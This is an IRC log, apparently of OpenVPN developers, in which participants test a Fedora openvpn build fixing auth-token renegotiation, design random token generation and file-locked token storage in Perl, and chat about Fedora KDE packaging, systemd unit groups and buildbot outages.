https://koji.fedoraproject.org/koji/taskinfo?taskID=20381165 .... building now :) 07:31 <@vpnHelper> Title: build (f26-candidate, openvpn-2.4.3-2.fc26.src.rpm) | Task Info | koji (at koji.fedoraproject.org) 07:32 <@dazo> it's scratch build, so nothing official 07:32 < CRCinAU> yup 07:32 < CRCinAU> but hey - if it works, push it to updates-testing ;) 07:32 <@dazo> hehehe 07:34 <@dazo> I can probably do that if I get a bz for it and it gets applied to the upstream openvpn git tree ;-) ... this is actually critical enough to warrant a separate build ....and it needs to hit f25 and rawhide too 07:39 <@ordex> dazo: bz ? 07:40 <@dazo> for fedora 07:40 <@dazo> bugzilla 07:40 <@ordex> ah ok 07:40 <@ordex> sorry 07:40 <@dazo> no worries :) 07:40 <@ordex> << young and innocent here 07:40 <@dazo> hehehe :) 07:41 <@dazo> I prefer having some bzs for references in the %changelog section of RPMs ... trying to tighten up things again after I did a massive overhaul of the openvpn package after I became the main Fedora package maintainer 07:43 <@ordex> dazo: what if there is a ticket in openvpn.net but no bz for fedora? you get to open one ? 07:48 <@dazo> yeah 07:49 <@dazo> or actually, I try to completely avoid adding additional patches ... I prefer to wait for new official releases 07:49 <@dazo> so if there is no bz, then there's no additional patch 07:49 <@dazo> "It will be fixed in the next release" :) 07:50 <@ordex> ah I understand 07:50 <@ordex> so bz are only for patches you manually carry over 07:50 <@ordex> onto the "current release" that is deployed in Fedora 07:50 <@ordex> I see 07:50 <@ordex> :) 07:51 <@dazo> yeah 07:52 < CRCinAU> dazo: sweet - I see: https://koji.fedoraproject.org/koji/taskinfo?taskID=20381166 07:52 <@vpnHelper> Title: buildArch (openvpn-2.4.3-2.fc26.src.rpm, x86_64) | Task Info | koji (at koji.fedoraproject.org) 07:52 <@dazo> if carrying too many patches which is not upstream, the package maintenance quickly becomes quite cruel - with patch rejections etc 07:52 <@dazo> yupp, that's ready :) 07:53 <@dazo> In Red Hat internally, they also run koji for the package building .... but they call it brew .... so it's common to say: "Brewing completed!" :) 07:55 <@ordex> hehe 07:55 <@dazo> In this case, even "A successful brew" :) 07:58 <@ordex> :) 08:04 <@ordex> dazo: I think the rpm is ready? isn't it ? 08:07 <@ordex> CRCinAU: ? 08:08 <@dazo> yeah 08:09 <@dazo> I'm betting we won't here much from CRCinAU until the package explodes again .... :-P 08:09 < CRCinAU> sorry - still pouring petrol on this KDE fire ;) 08:09 <@dazo> s/here/hear/ 08:09 <@dazo> hehe 08:09 <@ordex> lol 08:09 < CRCinAU> basically, Fedora QA have said to the KDE SIG, get your shit in order or we're dropping you as a blocker candidate spin 08:10 <@ordex> CRCinAU: dazo just brewed a fresh beer or you...and you still play with petrol?:P 08:10 <@dazo> :-P 08:10 < CRCinAU> so I'm pouring petrol on said fire to get people to accept that just maybe they need to slim things down so that QA can actually do their testing 08:10 <@dazo> which is reasonable 08:11 < CRCinAU> yup - and getting the predictable rage. 08:12 < CRCinAU> KDE SIG ships 3 different image programs, 2 viewers and one editor 08:12 < CRCinAU> I proposed stripping one to give 1 viewer, 1 editor 08:12 < CRCinAU> now the rage starts over that they're all different so we should ship all three - but if we don't, then it should be X and Y 08:12 < CRCinAU> someone else wants Z and Y 08:12 < CRCinAU> and the fire continues to burn ;) 08:13 <@dazo> So the TL;DR summary: "Don't destroy my KDE experience" ... which covers all sides of the flame :-P 08:14 < CRCinAU> yup 08:14 <@ordex> :D 08:14 <@ordex> perfect summary! 08:14 < CRCinAU> but we also ship Konquerer, Qupzilla, and Firefox as browsers in the live image 08:14 <@dazo> s/ my / _*MY*_ / 08:14 < CRCinAU> 3 complete web browsers lol 08:14 <@dazo> which ML is this? 08:16 < CRCinAU> #fedora-kde ;) 08:20 <@dazo> ahh 08:23 < CRCinAU> but also the fedora-kde mailing list as well 08:24 < CRCinAU> ok 08:24 < CRCinAU> so now that's died down a little 08:24 < CRCinAU> tbh, I was expecting the typical nerd rage 08:24 < CRCinAU> but you gotta get people riled up to start accepting an idea like that.... 08:24 < CRCinAU> then given time, it becomes the normal mindset if you keep mentioning it lol 08:25 <@dazo> :) 08:26 <@dazo> cron2: Will we give these patches some attention and care soonish? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14134.html ... lz4-1.7.5 is still the latest stable release 08:26 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2 0/3] LZ4 updates (at www.mail-archive.com) 08:27 <@dazo> in particular patch 2 and 3 08:27 < slypknot> dazo: heads up for you (no need for a reply at this time but I thought you would be interested) : https://forums.openvpn.net/viewtopic.php?f=6&t=24433 08:27 <@vpnHelper> Title: Auth-token and TLS handshake failures on key renegotiation - OpenVPN Support Forum (at forums.openvpn.net) 08:28 <@ordex> CRCinAU: will you have some time to test the build? :) 08:28 < CRCinAU> I'm doing it now 08:28 < CRCinAU> just connecting via mobile to test 08:28 <@ordex> hehe 08:28 <@ordex> :D 08:30 < CRCinAU> ok - using reneg-sec 30 08:30 < CRCinAU> Jul 07 23:29:36 spin-gw.crc.id.au openvpn[28813]: Performing token authentication for netwiz 08:30 < CRCinAU> Jul 07 23:29:36 spin-gw.crc.id.au openvpn[28813]: Token authentication successful for user: netwiz 08:30 < CRCinAU> that's using the auth token :) 08:30 < CRCinAU> so NM screwup 08:30 < CRCinAU> errrr 08:30 < CRCinAU> no NM screwup 08:31 <@ordex> you mean it worked without getting nuts ? 08:32 < CRCinAU> yup 08:33 < CRCinAU> Let me get a log of it all happening and I'll post it 08:34 <@ordex> ok 08:34 < CRCinAU> which is the option that forces the client to tell the server its disconnecting? 08:35 <@cron2> explict-exit-notify 08:35 < CRCinAU> that's pushable? 08:35 <@cron2> explicit even 08:35 <@cron2> no 08:35 < CRCinAU> bah 08:35 <@cron2> not sure 08:35 <@cron2> try 08:35 < CRCinAU> hehehehe 08:36 < CRCinAU> brb 08:37 < slypknot> cron2: it is pushable but throws a warning each time that the option does not effect other connection profiles 08:44 < CRCinAU> https://paste.fedoraproject.org/paste/wXwTAdOmE27c25DKik3~hg 08:44 < CRCinAU> win 08:45 <@dazo> CRCinAU: you do the auth-token stuff in your own script? not using --auth-gen-token? 08:45 < CRCinAU> dazo: atm, yeah :\ 08:45 <@dazo> good! 08:45 < CRCinAU> should I? 08:46 < CRCinAU> its the yubikey script I posted a while ago 08:46 <@dazo> no, not really .... --auth-gen-token is more a "workaround" feature for auth scripts/plugins not supporting auth-tokens 08:46 < CRCinAU> ok - I don't use auth-gen-token :P 08:46 <@dazo> just wanted to be sure that the "Username/Password authentication succeeded" messages were correct. When using --auth-gen-token, that says something like "Username/token" instead 08:46 <@dazo> heh :) 08:47 < CRCinAU> ah 08:47 < CRCinAU> so next thing, how can I send a new token down the line on a reneg? :P 08:47 <@dazo> lol ... that's for the v2.6 release I think :-P 08:48 < CRCinAU> hahahhah 08:48 < CRCinAU> see, now I have to try and figure out the best way to make a token 08:48 < CRCinAU> hmmm - on that note, what's the max size of a token? 08:50 <@dazo> I don't think there is a real limit, but I expect you'll get in troubles over 4kb 08:50 < CRCinAU> hrrm 08:50 < CRCinAU> see, now I'm wondering if I can make the token completely random, but store it locally at the server end 08:50 <@dazo> but I don't see any points of having more than 256 bits, to be honest ... considering the strength of the AES keys and such 08:50 < CRCinAU> but then we get issues of when a user disconnects etc etc etc 08:51 <@dazo> dd if=/dev/random bs=256 count=1 | base64 ... I'd say that is reasonable 08:51 <@dazo> it is most likely far more complex than most user passwords 08:53 <@dazo> or to be more picky about the formatting .... dd if=/dev/random bs=256 count=1 2> /dev/null | base64 -w0 ; echo 08:54 <@dazo> (that's commonly around like 104 characters) 08:54 <@ordex> CRCinAU: dazo: so, success?? 08:54 <@dazo> looks so :) 08:55 <@ordex> cool :) 08:55 <@dazo> But I'm quite annoyed I was so close to the fix before I dropped the ball for a bit :) 08:59 <@ordex> :P 08:59 <@ordex> I gave you credits in the commit message 08:59 <@ordex> we are a team!! 08:59 <@ordex> :) 09:00 < CRCinAU> yep - it works as expected now 09:00 < CRCinAU> good work by both :) 09:00 < CRCinAU> dazo: question is, how do I store the token server side.... 09:00 < CRCinAU> cos otherwise I need to entertain that multiple tokens etc for multiple users 09:01 < CRCinAU> I could just use freeze in perl and store a hash of tokens against a username 09:01 < CRCinAU> but that kills multiple connections 09:02 <@ordex> an sqllite archive 09:02 < CRCinAU> but that pulls in a lot of shit for it :\ 09:03 <@dazo> CRCinAU: you can use your HMAC magic as session key ... store it to disk/memcached ... 09:03 < CRCinAU> but then how to clean up dead sessions? 09:03 <@dazo> I'd say memcached, reddis or similar storages would be perfect for this 09:04 <@dazo> that's a different job which needs to run in parallel ... doesn't some of the reddis stuff have some recoed TTL? (it's loooong time since I tried that just for fun) 09:04 < CRCinAU> nfi 09:05 < CRCinAU> that being said, I only ever need to write to the hash when I issue a new token 09:05 < CRCinAU> but if you happen to have 2 connections at the same time, that could be an issue 09:05 < CRCinAU> unless I have a flock 09:05 < CRCinAU> hmmmm 09:05 <@dazo> embedd the remote port number into the key 09:05 < CRCinAU> IP + port? 09:05 <@dazo> yeah 09:05 < CRCinAU> or even username + IP + port 09:06 * dazo looks at what he did in eurephia 09:07 < CRCinAU> See, perl has: https://perldoc.perl.org/Storable.html 09:07 <@vpnHelper> Title: Storable - perldoc.perl.org (at perldoc.perl.org) 09:08 <@dazo> ouch my eyes! they get twisted in odd angles reading all the \@array, \*STDOUT; ... \%table, \*STDOUT; 09:08 < CRCinAU> heh 09:09 <@dazo> CRCinAU: https://redis.io/commands/ttl 09:09 <@vpnHelper> Title: TTL – Redis (at redis.io) 09:09 < CRCinAU> dazo: yeah - but store is built into perl with no extras :P 09:09 < CRCinAU> and I can easily expire stuff by a single loop through the hash 09:09 <@dazo> but reddis so much cooler! :-P 09:10 <@dazo> complexity ftw! 09:10 <@ordex> but will you run this thing as a daemon with no permanent storage? 09:11 < CRCinAU> nah 09:11 < CRCinAU> its easy with Store, cos you can essentially save / restore a data structure to dis 09:11 < CRCinAU> disk 09:11 <@ordex> ah it takes care of that 09:11 <@ordex> ok 09:11 <@ordex> cool 09:11 <@ordex> is it a perl module? 09:11 < CRCinAU> core module, yeah 09:11 < CRCinAU> so not an additional addon 09:11 <@ordex> oh ok 09:17 <@cron2> bah, redhat... *rant* 09:18 <@cron2> (or, in particular, the maintainer of mgetty-sendfax...) 09:21 <@cron2> ((like, no faxrunqd unit file, and no way to run the stuff as non-root user, given that /dev/ttyS0 is root:dialout mode 660 and /var/lock/lockdev is root:lock mode 775...) 09:22 <@dazo> fax?!?! ... in 2017!??! 09:22 <@cron2> ((one could, of course, use auxiliary groups, but that is a concept systemd has never heard of... as far as I'm aware, you can configure *one* group, and that's it - not that the system "fax" user the package installs would be part of "dialout" or "lock"...) 09:22 <@cron2> dazo: welcome to the world outside IT :-) - I have customers that send out 3-5000 (!) faxes a day 09:23 <@dazo> I'm still amazed that people have faxes at offices .... 09:24 <@cron2> it's the most reliable way to get a piece of writing over, like with "it beeped, so I know it arrived", unlike "yeah, I've sent it, but it might be stuck in greylisting, mail filters, spam queues, ..." 09:24 <@dazo> I think that's like insisting on using horses for transport services 09:25 <@cron2> dazo: you're a very typical IT person. "This is old tech, so it cannot be good" - but we've totally failed in make e-mail halfway as reliable as fax is, with instant feedback "yes it arrived at the other end" 09:25 <@dazo> ".... might be stuck in [....] spam queues, ..." .... that is *exactly* what I do when I get unsolicited e-mails :) 09:25 <@cron2> "and you've never ever had a single false positive", right? 09:26 <@dazo> Most places I've heard lately who dropped the fax, was purely because it was used for marketing 09:26 <@dazo> well, I filter them out on mail headers (X-MC-User) or URL used in the body 09:26 <@cron2> fax spammers have long moved to e-mail - much less costly for the sender :) 09:27 <@dazo> and all using various typical mailer services (MailChimp in particular) gets a small boost in the spam score, which tips over most of them ... 09:27 <@cron2> I receive about one spam fax every 2-3 months... 09:28 <@cron2> as I said, I'm sure you've never ever had a false positive there... :-) 09:28 <@dazo> oh, the last 3 places I heard who killed the fax had something like 5-7 every day 09:28 <@cron2> but this is the normal, and to-be-expected side-track when discussing fax... - they still ship it, but it has seen so little love that you either need to whack the system, or just run things as root 09:29 <@dazo> fair point 09:29 <@cron2> ... and I've spent the last 2-3 hours on "make things run as non-root under systemd", and keep running into things that the package maintainer should have taken care of... 09:30 <@dazo> btw ... which repo is mgetty-fax from? 09:30 <@dazo> ahh, mgetty-sendfax 09:31 <@cron2> RHEL7 standard repo, as far as I understand (but I just ask for packets, $unixadmin colleague makes them appear) 09:32 <@cron2> ok, need to run and fetch $kid, bbl 09:32 <@dazo> yeah ... I see it part of mgetty source rpm 09:33 <@dazo> I'd recommend you to file a bz for it ... I see it is also shipped in recent Fedoras too ... as it exists in stock RHEL repos, it might be the same package maintainer 09:39 <@dazo> yupp ... the main Fedora package contact and both package maintainers have @redhat.com e-mail addresses ... 09:39 <@dazo> https://admin.fedoraproject.org/pkgdb/package/rpms/mgetty/ 09:39 <@vpnHelper> Title: rpms/mgetty | PkgDB (at admin.fedoraproject.org) 10:10 < slypknot> dazo: if you would be so kind ;) https://community.openvpn.net/openvpn/ticket/842#comment:13 10:10 <@dazo> slypknot: I spent a bit of time looking through the posts on "Pay OpenVPN Service Provider Reviews/Comments" ... I whacked a few posts which were more advertisement (even though quite old ones, I'll admit) ... could be a good thing to just keep a tiny eye on that one to ensure they're caught earlier 10:10 <@vpnHelper> Title: #842 (Windows 10 x64, OpenVPN 2.4.0-I602:) – OpenVPN Community (at community.openvpn.net) 10:12 < slypknot> dazo: will do .. i generally ask mattock if something gets ridiculous .. but sometimes i miss one here and there .. you can ask me any time to review if you like 10:12 <@dazo> slypknot: thx! 10:13 < slypknot> welcome :) 10:15 <@dazo> regarding ticket #842 ... I think you're not exactly correct about your last comment, --topology subnet is pushed from the server to the client (that is a pushable option, automatically added if using --server on the server side) 10:16 <@dazo> that said, I don't fully understand how Windows does the routing setup .... so just that is confusing to me 10:16 < slypknot> dazo: net30 is default .. you must add topoloy subnet to use it *and* his ifconfig is .3 .4 which is plain wrong ! 10:17 < slypknot> .3 is bcast .43 is subnet number 10:17 <@dazo> yes, net30 is default ... and I see this in the log line: 10:17 <@dazo> Fri Jul 07 14:45:38 2017 PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.8.0.1,topology subnet,ping 10,ping-restart 120,route 10.8.0.0 255.255.0.0,ifconfig 10.8.1.3 10.8.1.4' 10:17 < slypknot> .4* 10:17 <@dazo> but yes ... the ifconfig is funny 10:17 <@dazo> but that is a server misconfiguration 10:17 < slypknot> is totally wrong ! 10:18 <@dazo> agreed 10:18 < slypknot> exactly 10:18 < slypknot> :) 10:18 < slypknot> I am going off cron2's complaints about ppl using trac for config errors 10:18 <@dazo> but it's not a net30 subnet being pushed .... it's a p2p ifconfig setup being pushed 10:18 < slypknot> no .. it is just a user mistake 10:19 < slypknot> imho 10:19 <@dazo> that I don't argue about, it's a misconfiguration on the server side ... as this is being pushed from the server 10:19 < slypknot> should be --topoloy subnet --ifcopnfig 10.8.0.3 255.255.255.0ifconfig 10:19 <@dazo> yupp! 10:20 <@dazo> I'll finish of that trac ticket 10:20 < slypknot> thx! ;) 10:21 < slypknot> "Finish Him!" 10:26 < CRCinAU> hrrrm 10:26 < CRCinAU> is there a client disconnect script? 10:26 < CRCinAU> server side? 10:26 <@dazo> yeah --client-disconnect, iirc 10:26 <@dazo> yupp! 10:26 < CRCinAU> and that also fires on a timeout? 10:27 <@dazo> but you might also find --learn-address equally interesting too 10:27 <@vpnHelper> RSS Update - tickets: #842: Stuck on "Waiting for TUN/TAP interface to come up..." <https://community.openvpn.net/openvpn/ticket/842> 10:27 < CRCinAU> well, I've got the token now 10:27 < CRCinAU> 128 bytes from /dev/urandom 10:27 < CRCinAU> base64 encoded 10:27 < CRCinAU> and stored in a file 10:27 < CRCinAU> I expire tokens at now + 12h if they're not renewed 10:28 <@dazo> *gasp* he reduced the randomness by 1/2 10:28 <@dazo> :-P 10:28 < CRCinAU> heh 10:28 < CRCinAU> well, I cant do 256 bytes of random 10:28 < CRCinAU> as apparently the max push size is 256 10:29 < CRCinAU> I'm thinking of making the expire 2 hours though... as you'd assume a reneg happens before 2 hours 10:29 < CRCinAU> and it resets the expiry to time + X hours at each reneg 10:29 <@dazo> hmmmm .... two things .... 1) when I base64 encode 256 bytes of random data, I get 104 bytes .... 2) the push should be automatically be split up into several pushes 10:29 < CRCinAU> is reneg-sec 3600 default? 10:30 <@dazo> yupp ... 1h reneg 10:30 < CRCinAU> so its pretty safe to expire after 2 hours 10:30 < CRCinAU> not 12 10:30 <@dazo> yeah, I'd say so 10:31 <@dazo> going to send an updated script to the ML? 10:31 < CRCinAU> maybe 10:31 <@dazo> consider it :) I'll _try_ to be gentle in the review :-P 10:31 < CRCinAU> heh 10:31 < CRCinAU> I'm actually quite liking it tbh 10:31 <@dazo> :) 10:38 < slypknot> dazo: you are too kind to the forum users ;) 10:41 <@dazo> Oh, you probably didn't notice my statement here earlier today .... 10:41 <@dazo> <dazo> Just because I'm planning a 2 week holiday after today, it's warm, sunny and I'm in a generally good mood (haven't been to #openpvn yet!) .... I'll do that :) 10:41 <@dazo> my mood is still not spoiled :-P 10:51 * slypknot high fives dazo ;) 11:26 < CRCinAU> ok, new RFC of the yubikey tokens script on its way to the mailing list :) 12:32 <@cron2> dazo: https://bugzilla.redhat.com/show_bug.cgi?id=1468715 submitted. Let's see what happens 12:32 <@vpnHelper> Title: Bug 1468715 mgetty-sendfax / faxrunqd, systemd and running as non-root does not play nice (at bugzilla.redhat.com) 12:49 <@cron2> dazo: but you might know. Is there a way from a systemd unit file to set auxiliary groups? 13:21 <@dazo> cron2: have you looked at man systemd.exec? Look at SupplementaryGroups= 13:23 <@mattock> is cron2 too now a systemd convert or what? :P 13:23 <@cron2> dazo: I've googled, and most hits did not even mention Groups= *grumble* - but this is why I'm asking you :-) - thanks 13:23 <@dazo> cron2: you might not find too much on google, as the man pages are pretty extensive 13:24 <@dazo> that's actually something the systemd guys have put lots of energy into ... documenting things properly 13:25 <@cron2> well, usually stuff also has some sort of online documentation (or people used to put manpages online) 13:26 <@dazo> they're online too under freedesktop.org or something like that ... I just more commonly find it more quickly using man :) 13:26 <@cron2> they are, but google does not like them 13:26 <@dazo> :) 13:26 <@dazo> man systemd.{unit,service,exec,mount} are first places to look 13:27 <@cron2> if you google for systemd SupplementaryGroups (already knowing how the option is), Google suggets to google for systemd Supplementary Groups and none of the hits show the config line - if you click on the suggested search (with blank) instead, it finds systemd.exec from freedesktop org, but does not display the config line either, just the sentence "the list of supplementary groups is reset", wtf 13:28 <@dazo> try duckduckgo.com :-P 13:28 <@dazo> (not sure it's better ... its just not google :-P) 13:28 <@cron2> mattock: no, I've been urged to use a linux system as a fax server that was given to me and where I'm supposed to not install own software, only configure pre-existing packages, and that hurts 13:29 <@cron2> (as the package is not integrated very well, and I have to go and figure out how to do a systemd unit file to work around that) 13:49 <@cron2> mattock: but while you happen to be here - either I lost the URL to the buildbot master, or it's still down? http://10.177.36.101:8010/builders/ gives me "connection refused" 14:26 <@mattock> cron2: it was down - I added a note to make monit monitor it and lift it up if needed 14:29 <@mattock> cron2: oh, and buildmaster is up now 15:04 <@cron2> thanks 15:04 <@cron2> plaisthos: your buildbot gave up and died... (offline) 17:20 < slypknot> Are the O-Rings intact ? 18:17 <@plaisthos> cron2: checking 18:28 <@plaisthos> restarted the vm 21:39 <@ordex> morning ! 21:52 < CRCinAU> morning all. 21:54 < CRCinAU> its a great day in auth-token handling land 21:59 <@ordex> hah 21:59 <@ordex> perfect ;) 22:00 < CRCinAU> I'm just trying to confirm some file locking issues I thought about for writing the token store to disk 22:00 < CRCinAU> there *may* be a case where tokens can be lose if a read happens while a write is going on 22:01 <@ordex> read for what ? 22:01 * ordex has no clue about your goal 22:01 < CRCinAU> ie connection 1 does a read, connection 2 does a read, connection 1 does a write, connection 2 does a write - obliterating connection 1's token 22:02 <@ordex> well, read and write must be atomic 22:02 <@ordex> classic test-and-set operation 22:02 < CRCinAU> ordex: the YubiKey script I posted to the mailing lists 22:02 <@ordex> I guess ? 22:02 <@ordex> oh ok 22:02 < CRCinAU> yeah - I'm not sure off hand how to achieve that 22:03 < CRCinAU> unless each time I do a re-read of the file :\ 22:04 <@ordex> ah it's perl 22:04 < CRCinAU> that being said......... 22:04 <@ordex> my perl knowledge is a bit dusty at the moment 22:05 < CRCinAU> it would *ONLY* happen if you got two connections while this code gets executed: 22:05 <@ordex> but generally speaking, can't you lock before reading and unlock after writing ? 22:05 < CRCinAU> my %tokens = load_tokenstore(); 22:05 < CRCinAU> $tokens{$key}{'token'} = $token; 22:05 < CRCinAU> $tokens{$key}{'expires'} = time + 7200; ## Expire in now + 2 hours. 22:05 <@ordex> flock the file I mean 22:05 < CRCinAU> write_tokenstore(%tokens); 22:05 <@ordex> yeah 22:05 < CRCinAU> so if you happened to get two connections at the exact same time...... 22:06 < CRCinAU> and it ran that code exactly at the same time 22:06 <@ordex> yes, this can happen 22:06 <@ordex> you have to protect the consistency of the file 22:06 <@ordex> it is not only about the token 22:06 <@ordex> it could mess-up the file 22:06 < CRCinAU> nah - it will just cause an element to die 22:06 < CRCinAU> writing does a lock 22:06 <@ordex> ah ok 22:07 <@ordex> but yeah, why not flocking around those lines? what's wrong with that ? 22:07 < CRCinAU> sub write_tokenstore(\%) { my $hashref = shift; open ( my $STORE, ">$tokenstore" ) || die "Unable to open token store: $!\n"; flock $STORE, LOCK_EX; store_fd $hashref, \*$STORE; close $STORE; 22:07 < CRCinAU> } 22:08 <@ordex> why not moving the flock out to a separate function and call it before reading ? 22:08 <@ordex> and why don't you unlock actually ? 22:08 < CRCinAU> it seems in the retrieve(), it doesn't take anything to specify a file handle - ie you go: retrieve('/path/to/file'); 22:09 < CRCinAU> close does an implicit unlock 22:09 <@ordex> ok 22:10 < CRCinAU> so you'd have to be unlucky 22:10 < CRCinAU> but technically, it'd be possible 22:10 < CRCinAU> but at least it'd be an a consistent state - just missing a token ;) 22:11 < CRCinAU> oh wait 22:11 < CRCinAU> fd_retrieve(\*SOCKET); 22:11 <@ordex> well.. :) 22:12 < CRCinAU> I can use fd_retrieve too - meaning I can open with a LOCK_EX 22:12 < CRCinAU> to read 22:12 < CRCinAU> hmmmm 22:12 < CRCinAU> but will that make a differene. 22:13 < CRCinAU> could still happen :\ 22:13 <@ordex> what? 22:13 < CRCinAU> I'm going to have to redo how I do this - create the file handle first - then LOCK it, then read from it, process, then write to it, the close 22:13 <@ordex> yeah 22:13 <@ordex> this sounds clean 22:13 <@ordex> :) 22:14 < CRCinAU> fuck it lol 22:15 <@ordex> f0ck the system! 22:24 < CRCinAU> I think I've fixed that 22:24 < CRCinAU> let me go test now - ie break the world 22:28 <@ordex> : 22:28 <@ordex> :) 22:28 <@ordex> do it ! 22:45 < CRCinAU> yay - it works :) 22:45 < CRCinAU> but I can't do the multiple concurrency tests 22:53 <@ordex> :) 23:20 < CRCinAU> ok, that's another bug fixed :p 23:20 < CRCinAU> errors out if the tokenstore didn't already exist ;) 23:42 <+krzee> [20:05] <CRCinAU> so if you happened to get two connections at the exact same time...... 23:42 <+krzee> [20:05] <CRCinAU> and it ran that code exactly at the same time 23:43 <+krzee> can this technically happen with the single threaded nature of openvpn? 23:46 < CRCinAU> krzee: no idea :p 23:46 < CRCinAU> but its a technical possiblity - and now it isnt' ;) 23:47 <@ordex> krzee: good point 23:48 <@ordex> but better fix this now, before openvpn becomes multithread and CRCinAU will forget :P 23:48 <@ordex> (this will onbiously happen in the next 2 or 3 days :P) 23:48 <+krzee> sounds like he already did anyways =] 23:49 <@ordex> :) 23:49 < CRCinAU> the likelyhood was pretty low imho 23:50 < CRCinAU> ie if you happened to come in while the first connection was executing 4 lines of code..... 23:50 < CRCinAU> ie the window was in the ms range 23:53 <@ordex> CRCinAU: imagine a server restart with all the clients trying to connect in burst .. 23:54 < CRCinAU> yeah 23:57 < CRCinAU> oh - so me starting the flame war in fedora KDE yesterday has come up fun :) 23:58 < CRCinAU> one of the Fedora Project Leader's got my back ;) 23:58 < CRCinAU> See Steven's other reply to this for some context. Here is the release 23:58 < CRCinAU> criterion: *snipped* 23:58 < CRCinAU> From this, I think sheer number is an issue. In Workstation, there are 23:58 < CRCinAU> GUI 36 applications available on the Live image, not counting Anaconda. 23:58 < CRCinAU> That's already a lot, really -- but in KDE, I count *79* in the menu at 23:58 < CRCinAU> the bottom left. --- Day changed Sat Jul 08 2017 04:34 <@ordex> aloha 05:22 < CRCinAU> nup 07:35 <@plaisthos> cron2: buildbot okay again? 09:25 < CRCinAU> heh 09:25 < CRCinAU> did mock die in the ass for you guys too? 14:08 <@cron2> shaddi: hast Du #201707050576 auf dem Radar für "Leitung jetzt dann ausmachen"? 14:09 * cron2 hat sich extra einen Wecker gestellt :) 14:23 <@cron2> argh, wrong IRC... 14:52 < CRCinAU> or is it? ;) 16:05 * slypknot google translates 16:06 < slypknot> radar ? .. 16:07 < slypknot> brexit means brexit cron2 16:10 < slypknot> which is a bit of a sham 21:14 <@ordex> morning 21:44 <@ordex> hmmm...we don't build packages for arm64, right ? 21:44 <@ordex> plaisthos: do you? or only for the android app? 21:44 * ordex sad 22:07 <@ordex> https://pbs.twimg.com/media/DEQGARDXcAAW8I1.jpg LOL --- Day changed Sun Jul 09 2017 04:17 <@plaisthos> ordex: yeah, only for the app. But the binaries won't help anyone else anyway 04:20 <@ordex> I have my arm64 board and I wanted to install openvpn 2.4.3 04:20 <@ordex> :( 05:38 <@plaisthos> ordex: no compiler for that or what is the problem? 06:07 < slypknot> ordex: $ IMAGEROOT=`pwd`/image-arm CHOST=arm-linux-gnueabi \ 06:07 < slypknot> CBUILD=x86_64-pc-linux-gnu ./buildy 06:07 < slypknot> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Cross-compilingonNIXgenericsubdir 06:07 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 07:16 <@ordex> plaisthos: no build environment :P 07:28 <@ordex> slypknot: yeah thanks. 07:28 <@ordex> I figured I had to build my own crosscompiler :P 08:07 <@ordex> I found the backports for arm64 mh .. I could install 2.4.0 at least (+pacthces) 08:30 < slypknot> ordex: so can you build for arm ? 08:52 <@ordex> slypknot: I just built the crosscompiled. I think I can now:) 11:01 < slypknot> ordex: cool :) 19:46 <@ordex> :) 19:46 <@ordex> morning! 20:15 < CRCinAU> yay 20:15 < CRCinAU> first connection from work with a working auth-token :) 20:21 <@ordex> hehe 20:21 <@ordex> cool! 20:22 < CRCinAU> we'll see if it all dies at connect + 1800 ;) 20:23 <@ordex> :D 20:23 <@ordex> that's the reneg-sec? or the token lifetime ? 20:24 < CRCinAU> reneg-sec 20:24 < CRCinAU> token life is last use + 7200 20:25 < CRCinAU> (unless its removed during a disconnect) 20:29 <+krzee> thats awesome! 20:30 <@ordex> krzee: !! 20:31 <+krzee> CRCinAU: so is it the type that has a rolling code that you enter as a pass, or the type that needs to be plugged in to USB when you do something? 20:53 < CRCinAU> krzee: the yubikey OTP script I posted to the list :) 21:10 <+krzee> i dont frequent the list just irc 21:10 <+krzee> but now im googling it =] 21:12 <+krzee> gotchya, connected token 21:18 < CRCinAU> krzee: https://sourceforge.net/p/openvpn/mailman/message/35934033/ 21:18 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 21:18 <+krzee> yep found it and have your script open in kate 21:18 < CRCinAU> just RFCv3 is the latest one :) 21:19 <+krzee> cool project, glad you're doing it 21:19 < CRCinAU> just feel sorry for the guys here I hassle all the time to fix problems ;) 21:21 <+krzee> ;] 21:26 < CRCinAU> in fact, I've just added a few lines in my local copy to enforce SSL hostname verification for the call to Yubico 21:26 < CRCinAU> seeing as that's the gateway to access or not, it makes sense to enforce validation. 22:04 <@ordex> CRCinAU: no need to jusity the verification. usually a justification is needed when you purposely skip it :P 22:08 < CRCinAU> ordex: agreed. 22:09 < CRCinAU> the main part is that I want to explicitly verify that its turned on. 22:09 <@ordex> yeah 22:09 < CRCinAU> also achieved by setting a minimum acceptable version of LWP::UserAgent in the script to v6+ 22:09 < CRCinAU> previous versions didn't do SSL hostname validation --- Day changed Mon Jul 10 2017 02:13 <@ordex> cron2: maybe we should start a wikipage and collect topics we want to discuss during the hackathon? the bundle-lz4 dilemma might be one:P 02:14 <@ordex> and we already had something else that popped out last week .. I forgot what 02:15 <@cron2> ordex: feel free to make a copy of the hackathon2016 page to 2017, and build a new topic list - "this is how we did it in the last years" :) 02:15 <@ordex> hehe ok :) 02:24 < CRCinAU> oh - and can't LZ4 be dynamically linked? 02:24 < CRCinAU> am I hearing that we want to static build it into openvpn? o_O 02:29 <@ordex> CRCinAU: I have created something: https://community.openvpn.net/openvpn/wiki/KarlsruheHackathon2016 << d12fk I have created this stub page. please, feel free to add more details...some stuff have to be added by you as I have no idea :) 02:29 <@vpnHelper> Title: KarlsruheHackathon2016 – OpenVPN Community (at community.openvpn.net) 02:29 <@ordex> CRCinAU: no 02:31 <@ordex> argh, did not change the year in the name :D 02:33 <@ordex> cron2: dazo: mattock: feel free to add your stuff: https://community.openvpn.net/openvpn/wiki/KarlsruheHackathon2017 02:33 <@vpnHelper> Title: KarlsruheHackathon2017 – OpenVPN Community (at community.openvpn.net) 02:35 < CRCinAU> so how do other people do dynamic linking? 02:39 <@ordex> CRCinAU: like we also do :P at compile time - the problem, as cron2 explain in his email, is that lz4 was a library that wa rarely installed. so to avoid the hassle a bundled version is compile don those (now ancient) systems not having it 02:48 <@vpnHelper> RSS Update - tickets: #912: disconnect via click/doubleclick on tray icon <https://community.openvpn.net/openvpn/ticket/912> 03:41 < CRCinAU> well, I stayed connected all day today with the auth-token working 03:41 < CRCinAU> so I'd say we're good. 03:41 < CRCinAU> that's with a 30 minute reneg-sec 03:41 < CRCinAU> commit 